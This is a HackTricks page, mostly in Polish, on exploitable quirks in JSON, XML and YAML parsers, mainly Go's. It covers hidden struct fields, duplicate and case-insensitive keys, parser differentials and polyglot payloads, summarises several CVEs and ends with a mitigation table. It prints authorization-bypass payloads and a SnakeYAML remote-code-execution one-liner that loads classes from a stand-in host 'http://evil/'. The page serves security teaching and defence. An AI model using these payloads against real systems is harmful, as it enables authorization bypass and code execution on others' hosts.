JSON, XML & Yaml Hacking & Issues

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Go JSON Decoder

Następujące problemy wykryto w Go JSON, chociaż mogą występować także w innych językach. These issues were published in this blog post.

Parsery JSON, XML i YAML w Go mają długą historię niespójności i niebezpiecznych wartości domyślnych, które można wykorzystać do bypass authentication, escalate privileges, lub exfiltrate sensitive data.

(Un)Marshaling Unexpected Data

Celem jest wykorzystanie struktur, które pozwalają atakującemu na odczyt/zapis wrażliwych pól (np. IsAdmin, Password).

  • Przykładowa struktura:
type User struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
IsAdmin  bool   `json:"-"`
}
  • Typowe podatności
  1. Brakujący znacznik (brak tagu = pole nadal jest parsowane domyślnie):
type User struct {
Username string
}

Payload:

{"Username": "admin"}
  1. Nieprawidłowe użycie -:
type User struct {
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
}

Payload:

{"-": true}

✔️ Prawidłowy sposób zablokowania pola przed (de)serializacją:

type User struct {
IsAdmin bool `json:"-"`
}

Różnice parserów

Celem jest obejście autoryzacji przez wykorzystanie tego, że różne parsery interpretują ten sam payload inaczej, np.:

  • CVE-2017-12635: Apache CouchDB bypass via duplicate keys
  • 2022: Zoom 0-click RCE via XML parser inconsistency
  • GitLab 2025 SAML bypass via XML quirks

1. Duplicate Fields: Go’s encoding/json przyjmuje ostatnie pole.

json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
fmt.Println(req.Action) // AdminAction

Inne parsery (np. Java’s Jackson) mogą wybrać pierwszy.

2. Brak rozróżniania wielkości liter: Go nie rozróżnia wielkości liter:

json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field

Nawet sztuczki Unicode działają:

json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)

3. Niezgodność między usługami: Wyobraź sobie:

  • Proxy napisany w Go
  • usługa AuthZ napisana w Pythonie

Atakujący wysyła:

{
"action": "UserAction",
"AcTiOn": "AdminAction"
}
  • Python widzi UserAction i zezwala
  • Go widzi AdminAction i wykonuje

Zamieszanie formatów danych (Polyglots)

Celem jest wykorzystanie systemów, które mieszają formaty (JSON/XML/YAML) lub pozostają otwarte przy błędach parsera, np.:

  • CVE-2020-16250: HashiCorp Vault parsował JSON przy użyciu parsera XML, po tym jak STS zwrócił JSON zamiast XML.

Atakujący kontroluje:

  • Nagłówek Accept: application/json
  • Częściowa kontrola nad treścią JSON

Parser XML w Go i tak to sparsował i zaufał wstrzykniętej tożsamości.

  • Skomponowany payload:
{
"action": "Action_1",
"AcTiOn": "Action_2",
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}

Wynik:

  • Go JSON parser: Action_2 (ignoruje wielkość liter + ostatni ma priorytet)
  • YAML parser: Action_1 (rozróżnia wielkość liter)
  • XML parser: parsuje "Action_3" wewnątrz stringa

Znaczące podatności parserów (2023-2025)

Poniższe publicznie wykorzystywalne luki pokazują, że niebezpieczne parsowanie to problem wielojęzykowy — nie tylko problem Go.

SnakeYAML Deserialization RCE (CVE-2022-1471)

  • Dotyczy: org.yaml:snakeyaml < 2.0 (używany przez Spring-Boot, Jenkins itp.).
  • Przyczyna: new Constructor() deserializuje dowolne klasy Java, co umożliwia łańcuchy gadgetów prowadzące do zdalnego wykonania kodu.
  • One-liner PoC (otworzy kalkulator na podatnym hoście):
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
  • Poprawka / Mitigacja:
  1. Zaktualizuj do ≥2.0 (domyślnie używa SafeLoader).
  2. W starszych wersjach jawnie użyj new Yaml(new SafeConstructor()).

libyaml Double-Free (CVE-2024-35325)

  • Dotyczy: libyaml ≤0.2.5 (biblioteka C wykorzystywana przez wiele powiązań językowych).
  • Problem: Wywołanie yaml_event_delete() dwukrotnie prowadzi do double-free, które atakujący mogą wykorzystać do DoS lub, w niektórych scenariuszach, heap exploitation.
  • Status: Upstream odrzucił jako “API misuse”, ale dystrybucje Linuxa wysłały poprawioną wersję 0.2.6, która defensywnie ustawia wskaźnik na null przy zwalnianiu.

RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)

  • Dotyczy: Tencent RapidJSON przed commitem 8269bc2 (<1.1.0-patch-22).
  • Błąd: W GenericReader::ParseNumber() niezweryfikowane operacje arytmetyczne pozwalają atakującym skonstruować ogromne literały numeryczne, które zawijają się i uszkadzają heap — co ostatecznie umożliwia privilege-escalation, gdy powstały graf obiektów jest używany do decyzji autoryzacyjnych.

🔐 Środki zaradcze (zaktualizowane)

RyzykoPoprawka / Rekomendacja
Nieznane pola (JSON)decoder.DisallowUnknownFields()
Duplikaty pól (JSON)❌ Brak poprawki w stdlib — sprawdź za pomocą jsoncheck
Dopasowanie ignorujące wielkość liter (Go)❌ Brak poprawki — zwaliduj tagi struct + wstępnie kanonizuj wejście
Nieprawidłowe dane XML / XXEUżyj wzmocnionego parsera (encoding/xml + DisallowDTD)
Nieznane klucze YAMLyaml.KnownFields(true)
Niebezpieczna deserializacja YAMLUżyj SafeConstructor / zaktualizuj do SnakeYAML ≥2.0
libyaml ≤0.2.5 double-freeZaktualizuj do 0.2.6 lub wydania poprawionego przez dystrybucję
RapidJSON <patched commitKompiluj z najnowszym RapidJSON (≥lipiec 2024)

Zobacz też

Mass Assignment Cwe 915

Źródła

  • Baeldung – “Resolving CVE-2022-1471 With SnakeYAML 2.0”
  • Ubuntu Security Tracker – CVE-2024-35325 (libyaml)

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks